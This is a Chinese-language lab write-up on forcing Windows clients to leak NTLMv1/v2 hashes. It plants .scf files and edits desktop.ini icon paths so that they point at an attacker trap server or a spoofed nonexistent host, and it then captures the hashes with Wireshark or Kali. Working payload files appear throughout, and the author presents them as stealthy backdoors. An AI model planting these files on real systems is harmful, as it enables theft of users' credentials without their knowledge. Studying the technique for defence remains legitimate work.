本篇文章是基于w师傅利用图标文件获取连接文件服务器的NTLMv2 Hash文章,整理的一篇分类更加详细更加细致的总结!
在我上篇文章《监听445端口抓v2数据》中其实有一个问题不知道大家也没有注意?
我们只需要抓取445端口的相关认证信息即可,但是这里有一个问题。就是之前认证成功的用户再来访问我们的时候是不会再次认证的,所以我们获取不了。
我遇到的情况中很多都是这样的,人家已经可以访问我了,这个时候是不能获取不到认证的NTLM v1\v2 Hash的!这时候就需要使用其他方法来获取了!
通过抓取自己445端口能够获取未认证用户的v1\v2 Hash,但是想要获取已经能够登录SMB服务账户的NTLM v1\v2 Hash,需要我们再任意获取一台win2012 win7以上的机器,使用445的方法再去监听端口!或者一台PY版本2.7.1 以上的linux。而让客户端用户访问另一台未认证机器的过程就是下面所介绍的!
接下来主要介绍这些内容:
在这里测试如上的所有方法,读者可以根据自己的情况来选择使用哪种方式进行攻击!
scf文件是"WINDOWS资源管理器命令"文件,是一种可执行文件。里面存在一个lconFile属性,可以填写UNC路径。利用这一点可以重定向配合我们的攻击,原作者文章中原理部分已经很清楚了,就是使用文档管理器访问会执行这个.scf文件。
因原作者只实验了我思路中的一种,所以我在这里根据我的思路弄一个完整的!
测试环境:
已控”文件”服务器IP:192.168.20.3 2008
陷阱服务器IP:192.168.20.141 win7 数据查看方式使用wireshark,实验过程用win自带抓包过于麻烦
客户端IP:192.168.20.2 2012 已经能够直接登录“文件”服务器
实验目的:
通过让客户端访问“文件”服务器,从而强制让它访问陷阱机器来获取NTLM v2\v1的认证数据!
实验方法:
让客户端访问已控制文件服务器,随后用scf文件进行重定向到陷阱服务器
实验过程:
在“文件”服务器(192.168.20.3)上放入test.scf,文件内容如下。192.168.20.141为陷阱服务器IP
[Shell]
Command=2
IconFile=\\192.168.20.141\SYS\test.ico
[Taskbar]
Command=ToggleDesktop
已在共享文档里放入了这个文件
192.168.20.141为我们的陷阱服务器,打开wireshark进行监听(真实环境就是使用netsh中的trace功能来实现)
让我们的客户端(192.168.20.2)访问"文件"服务器(192.168.20.3)
可以在陷阱服务器上看到了来自客户端的请求认证信息!
这样就可以成功获取认证用户的NTLM v1\v2 Hash了!
在这里脑子活络的朋友肯定已经想到能否使用SMB欺骗呢?这里也是可以的,这样的方式无法解析,从而广播让我们监听欺骗到!让我们来试验一下!
测试环境:
欺骗机器用linux : 192.168.20.131 Kali代替
已控”文件”服务器IP:192.168.20.3 2008
客户端IP:192.168.20.2 2012
实验目的:
通过让客户端访问“文件”服务器,从而强制让它访问不存在目标,从而进行广播被我们NTLM欺骗抓到NTLM v1\v2 HASH!
实验方法:
让客户端访问已控制文件服务器,随后用scf文件进行重定向到不存在的目标,如:asdasdasd
实验过程:
已控”文件”服务器上已经放置test.scf文件,其中内容修改成如下信息
[Shell]
Command=2
IconFile=\\asdasdasd\SYS\test.ico
[Taskbar]
Command=ToggleDesktop
欺骗机器Kali上先开启监听
客户端访问"文件"服务器
这时候你就能在Kali的服务器上获取到NTLM v1\v2 Hash了!
那是否可以设置成单独的后门呢?如拿下了A机器,使用如上2种方法去设置。当用户打开本机文件夹时我们能否收到呢?
测试环境:
(1)测试SMB欺骗
欺骗机器用linux : 192.168.20.131 Kali代替
客户端IP:192.168.20.2 2012
(2)测试固定IP
陷阱服务器IP:192.168.20.141 win7
客户端IP:192.168.20.2 2012
实验目的:
探究scf文件是否可做本机后门,当用户打开后能否执行?
实验方法:
让本机去访问存在scf文件的目录,随后进行重定向查看是否能够顺利执行!
实验过程:
(1)测试SMB欺骗
在客户端(192.168.20.2)C盘根目录下存在T目录,并将它设置为共享目录!
在T目录下放置之前的test.scf,文件内容如下:
[Shell]
Command=2
IconFile=\\asdasdasd\SYS\test.ico
[Taskbar]
Command=ToggleDesktop
打开Kali进行SMB欺骗
这个时候我们再次访问这个文件夹
会发现kali上的SMB欺骗也成功了!
(2)测试固定IP
在客户端(192.168.20.2)C盘根目录下存在T目录,并将它设置为共享目录!
在T目录下放置之前的test.scf,文件内容中的192.168.20.141为陷阱服务器。代码如下:
[Shell]
Command=2
IconFile=\\192.168.20.141\SYS\test.ico
[Taskbar]
Command=ToggleDesktop
在陷阱服务器上使用wireshark进行监听后,我们进如此共享文件夹可以在看到已经看到认证信息了!
那么当scf文件不放在共享目录下是否可以呢?在这里创一个Q文件夹,里面放上test_2.scf。内容如下
[Shell]
Command=2
IconFile=\\192.168.20.141\SYS\test.ico
[Taskbar]
Command=ToggleDesktop
这时候陷阱服务器再次进行端口抓包
让我们来访问一下当前文件夹!这时候再去查看是否有记录,可以看到这样也是可以的!
这时候再来测试SMB欺骗,test_2.scf文件中的IP改为asdasdasd
[Shell]
Command=2
IconFile=\\asdasdasd\SYS\test.ico
[Taskbar]
Command=ToggleDesktop
这时候Kali开启监听,并且让我们访问下看看是否有货,可以看到这样也是可以的!
经过笔者的测试,只要文件夹中存在.scf文件就可以让它重定向配合我们的攻击。其实原作者的文章中说了,打开某一文件夹就可以执行。但是我不信,我偏要测试下。
在这里scf的用处我们已经很清楚了,不管是做后门还是让它从文件服务器上重定向到陷阱服务器这都是可以的!
这方法主要是啥呢,我先跟大家唠唠。我们的文件夹图标都是可以修改的,这里大家都知道。但是呢,在修改完之后当前文件夹下会存在一个隐藏的文件 desktop.ini。当我们没有更改图标时没有的,且因为看不到。所以需要使用如下命令来编辑
explorer .\desktop.ini
在实验之前先跟大家说一个bug,就是如果你使用如下命令去修改的话
explorer desktop.ini
那么你修改的不是当前路径下的desktop.ini,是不会有任何触发的!
在00x7当中我说过更改完图标之后才会在文档目录下出现desktop.ini,这时候如果我没有修改图标直接修改会是什么样子呢?
explorer .\desktop.ini
这时候会直接跳出文档目录,代表着没有修改图标则当前目录下不存在desktop.ini
这时候让我修改一下图标
编辑文件发现跳出了文件
explorer .\desktop.ini
这个时候就可以将IconResource替换成未知目标或者陷阱服务器IP进行scf中的测试!
IconResource=\\asdasdasd\test\SHELL32.dll,3
测试环境:
(1)测试SMB欺骗
欺骗机器用linux: 192.168.20.131 Kali代替
客户端IP:192.168.20.2 2012
(2)测试固定IP
陷阱服务器IP:192.168.20.141 win7
客户端IP:192.168.20.2 2012
在"文件"服务器上修改尝试获取认证过的NTLM v1\v2 HASH
测试过程:
(1)测试SMB欺骗
欺骗机器用linux : 192.168.20.131 Kali代替
客户端IP:192.168.20.2 2012
首先在客户端C盘目录下创建文件夹T,在T中创建文件夹TT,在TT中创建TTT
随机设置一个TTT的文件夹图标
这时候使用命令在TTT目录下打开desktop.ini
explorer .\desktop.ini
将里面的IconResource进行修改,因为这里测试的是SMB欺骗。所以随机设置一个,如asdasdasd
IconResource=\\asdasdasd\test\SHELL32.dll,3
保存后再次进如TT文件夹下,让我们看下Kali上是否欺骗成功?
发现欺骗成功,获取到了NTLM v2的信息!
首先在这里我在实验时发现了一个很好玩的地方,在上面的实验中当我再次访问TTT时大家可以看截图。他的图标已经变回来了,且也起作用。
在这时候我又去重新做了一遍,但是发现在”短时间“内还是放大镜的样子,且也无法成功!
但是在过了大约2分钟之后图标重新变回原样了,且当图标变回原样后访问成功!
是不是很有趣!
还是修改TTT的图标,但是这里在desktop.ini下面增加一行
IconResource=\\asdasdasd\test\SHELL32.dll,3
这个时候去kali里访问查看我们的结果!一开始没有,过了也还是没有,那就证明这是不行的!
(2)测试固定IP
其实经过1中的测试,这里很大几率是可以的。即使不实验也可以,它不像scf还有设置共享文件和服务器这种情况。他就是本机单一的后门,处于严谨再次实验!
陷阱服务器IP:192.168.20.141 win7
客户端IP:192.168.20.2 2012
这里简约些吧,设置IP为 192.168.20.141
IconResource=\\192.168.20.141\test\SHELL32.dll,3
客户端再次访问,陷阱服务器提前打开wireshark进行监听。发现是可以的!
这两种跟着我实验完之后我相信大家对它的理解肯定很深了!
在这里还有一个坑,就是我一开始说的编辑时加上.\ 不能使用如下的方法
explorer desktop.ini
不知道这里修改的是什么让我们实验下,先删除实验过的TTT目录。然后在desktop.ini中设置我们的陷阱IP看看!
先将里面的内容备份下后进行修改!
保存后会是什么效果呢?是访问任意文件夹图标都会出发吗?还是当前目录下的?让我们仔细看看!
经过实验。。发现好像并没有什么作用!但是大家也要记住编辑的时候加入.\ 不然就失败了!
在这里就测试一个SMB欺骗的吧,太多了写不动了
(1)测试SMB欺骗
欺骗机器用linux : 192.168.20.131 Kali代替
已控”文件”服务器IP:192.168.20.3 2008
客户端IP:192.168.20.2 2012
首先在"文件"服务器(192.168.20.3)的共享目录中创建文件夹T,在T中创建文件夹TT,在TT中创建TTT。如下
更改TTT的图标且修改文件!
explorer desktop.ini
IconResource=\\asdasdasd\test\SHELL32.dll,3
错误示范!没加.\ 等了好久都不行
正确示范
过了没多久发现图标变回来了,这时候去测试。可以看到我本机访问的已经过来了
使用客户端去访问,可以看到也可以!
它和scf一样都可以用作后门和获取已认证用户Hash,只不过它更加的隐蔽!
这是原作者的建议,但我觉得不太行。因为实验过程中大家可以看到我能够编辑任意目录,逐个排查不显示,在大公司中禁止139 445更加不可能了。所以我的建议为改用kerberos来认证!
在原作者文章中攻击分类是3点,如下所示
* 添加scf文件强制用户访问伪造的文件服务器
* 修改文件夹图标强制用户访问伪造的文件服务器
* 文件夹图标后门
作者在scf中只介绍了访问共享使用,而修改图标则分成了 访问共享和后门两种。而我则是将scf 和 文件图标分别介绍了 "访问共享" 和"后门"!希望读者看完我的文章,且自己实践过后能够够好的吸收!